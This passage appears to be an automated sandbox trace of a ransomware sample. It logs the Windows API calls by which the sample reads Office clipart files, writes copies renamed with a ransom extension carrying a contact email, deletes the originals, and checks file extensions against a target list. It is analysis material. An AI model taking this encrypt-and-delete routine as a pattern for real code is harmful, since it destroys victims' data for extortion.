lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.480] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.480] SetEndOfFile (hFile=0x390) returned 1 [0255.480] CloseHandle (hObject=0x390) returned 1 [0255.480] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.481] SetEndOfFile (hFile=0x324) returned 1 [0255.483] CloseHandle (hObject=0x324) returned 1 [0255.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0255.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.484] lstrlenW (lpString=".doc") returned 4 [0255.484] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.484] lstrlenW (lpString=".docx") returned 5 [0255.484] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0255.484] lstrlenW (lpString=".pdf") returned 4 [0255.484] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.484] lstrlenW (lpString=".xls") returned 4 [0255.484] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.484] lstrlenW (lpString=".xlsx") returned 5 [0255.484] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0255.484] lstrlenW (lpString=".ppt") returned 4 [0255.484] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.484] lstrlenW (lpString=".zip") returned 4 [0255.484] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.484] lstrlenW (lpString=".rar") returned 4 [0255.484] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.484] lstrlenW (lpString=".bz2") returned 4 [0255.484] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.484] lstrlenW (lpString=".7z") returned 3 [0255.484] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.484] lstrlenW (lpString=".dbf") returned 4 [0255.484] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.484] lstrlenW (lpString=".1cd") returned 4 [0255.484] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.484] lstrlenW (lpString=".jpg") returned 4 [0255.484] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.485] lstrlenW (lpString=".doc") returned 4 [0255.485] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.485] lstrlenW (lpString=".docx") returned 5 [0255.485] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0255.485] lstrlenW (lpString=".pdf") returned 4 [0255.485] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.485] lstrlenW (lpString=".xls") returned 4 [0255.485] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.485] lstrlenW (lpString=".xlsx") returned 5 [0255.485] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0255.485] lstrlenW (lpString=".ppt") returned 4 [0255.485] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.485] lstrlenW (lpString=".zip") returned 4 [0255.485] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.485] lstrlenW (lpString=".rar") returned 4 [0255.485] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.485] lstrlenW (lpString=".bz2") returned 4 [0255.485] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.485] lstrlenW (lpString=".7z") returned 3 [0255.485] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.485] lstrlenW (lpString=".dbf") returned 4 [0255.485] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.485] lstrlenW (lpString=".1cd") returned 4 [0255.485] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0255.485] lstrlenW (lpString=".jpg") returned 4 [0255.485] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.485] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.486] lstrlenW (lpString="J0101859.BMP") returned 12 [0255.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.486] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=31968) returned 1 [0255.486] CloseHandle (hObject=0x324) returned 1 [0255.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 0x20 [0255.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0255.600] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.600] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0255.601] GetLastError () returned 0x0 [0255.601] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0255.616] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0255.617] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.618] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.618] SetEndOfFile (hFile=0x3c0) returned 1 [0255.618] CloseHandle (hObject=0x3c0) returned 1 [0255.618] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.618] SetEndOfFile (hFile=0x398) returned 1 [0255.620] CloseHandle (hObject=0x398) returned 1 [0255.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0255.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.621] lstrlenW (lpString=".doc") returned 4 [0255.621] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.621] lstrlenW (lpString=".docx") returned 5 [0255.621] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0255.621] lstrlenW (lpString=".pdf") returned 4 [0255.621] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.621] lstrlenW (lpString=".xls") returned 4 [0255.621] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.621] lstrlenW (lpString=".xlsx") returned 5 [0255.621] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0255.621] lstrlenW (lpString=".ppt") returned 4 [0255.621] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.621] lstrlenW (lpString=".zip") returned 4 [0255.621] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.621] lstrlenW (lpString=".rar") returned 4 [0255.621] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.621] lstrlenW (lpString=".bz2") returned 4 [0255.621] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.622] lstrlenW (lpString=".7z") returned 3 [0255.622] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.622] lstrlenW (lpString=".dbf") returned 4 [0255.622] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.622] lstrlenW (lpString=".1cd") returned 4 [0255.622] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.622] lstrlenW (lpString=".jpg") returned 4 [0255.622] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.622] lstrlenW (lpString=".doc") returned 4 [0255.622] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.622] lstrlenW (lpString=".docx") returned 5 [0255.622] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0255.622] lstrlenW (lpString=".pdf") returned 4 [0255.622] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.622] lstrlenW (lpString=".xls") returned 4 [0255.622] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.622] lstrlenW (lpString=".xlsx") returned 5 [0255.622] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0255.622] lstrlenW (lpString=".ppt") returned 4 [0255.622] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.622] lstrlenW (lpString=".zip") returned 4 [0255.622] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.622] lstrlenW (lpString=".rar") returned 4 [0255.622] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.622] lstrlenW (lpString=".bz2") returned 4 [0255.622] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.622] lstrlenW (lpString=".7z") returned 3 [0255.622] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.622] lstrlenW (lpString=".dbf") returned 4 [0255.622] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.623] lstrlenW (lpString=".1cd") returned 4 [0255.623] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0255.623] lstrlenW (lpString=".jpg") returned 4 [0255.623] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.623] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.623] lstrlenW (lpString="J0101863.BMP") returned 12 [0255.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0255.623] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=32184) returned 1 [0255.623] CloseHandle (hObject=0x398) returned 1 [0255.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 0x20 [0255.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0255.624] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.624] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0255.624] GetLastError () returned 0x0 [0255.624] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0255.649] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0255.650] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.650] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.650] SetEndOfFile (hFile=0x3c0) returned 1 [0255.650] CloseHandle (hObject=0x3c0) returned 1 [0255.650] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.650] SetEndOfFile (hFile=0x398) returned 1 [0255.654] CloseHandle (hObject=0x398) returned 1 [0255.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0255.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.655] lstrlenW (lpString=".doc") returned 4 [0255.655] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.655] lstrlenW (lpString=".docx") returned 5 [0255.655] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0255.655] lstrlenW (lpString=".pdf") returned 4 [0255.656] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString=".xls") returned 4 [0255.656] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString=".xlsx") returned 5 [0255.656] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0255.656] lstrlenW (lpString=".ppt") returned 4 [0255.656] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.656] lstrlenW (lpString=".zip") returned 4 [0255.656] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString=".rar") returned 4 [0255.656] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString=".bz2") returned 4 [0255.656] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString=".7z") returned 3 [0255.656] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.656] lstrlenW (lpString=".dbf") returned 4 [0255.656] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.656] lstrlenW (lpString=".1cd") returned 4 [0255.656] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.656] lstrlenW (lpString=".jpg") returned 4 [0255.656] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.656] lstrlenW (lpString=".doc") returned 4 [0255.656] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString=".docx") returned 5 [0255.656] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0255.656] lstrlenW (lpString=".pdf") returned 4 [0255.656] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString=".xls") returned 4 [0255.656] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.656] lstrlenW (lpString=".xlsx") returned 5 [0255.657] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0255.657] lstrlenW (lpString=".ppt") returned 4 [0255.657] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.657] lstrlenW (lpString=".zip") returned 4 [0255.657] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.657] lstrlenW (lpString=".rar") returned 4 [0255.657] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.657] lstrlenW (lpString=".bz2") returned 4 [0255.657] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.657] lstrlenW (lpString=".7z") returned 3 [0255.657] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.657] lstrlenW (lpString=".dbf") returned 4 [0255.657] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.657] lstrlenW (lpString=".1cd") returned 4 [0255.657] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0255.657] lstrlenW (lpString=".jpg") returned 4 [0255.657] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.657] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.657] lstrlenW (lpString="J0101866.BMP") returned 12 [0255.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0255.658] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=32184) returned 1 [0255.726] CloseHandle (hObject=0x398) returned 1 [0255.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 0x20 [0255.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0255.727] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.727] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0255.727] GetLastError () returned 0x0 [0255.727] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0255.745] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0255.746] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.746] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.746] SetEndOfFile (hFile=0x3c0) returned 1 [0255.746] CloseHandle (hObject=0x3c0) returned 1 [0255.746] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.746] SetEndOfFile (hFile=0x398) returned 1 [0255.749] CloseHandle (hObject=0x398) returned 1 [0255.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 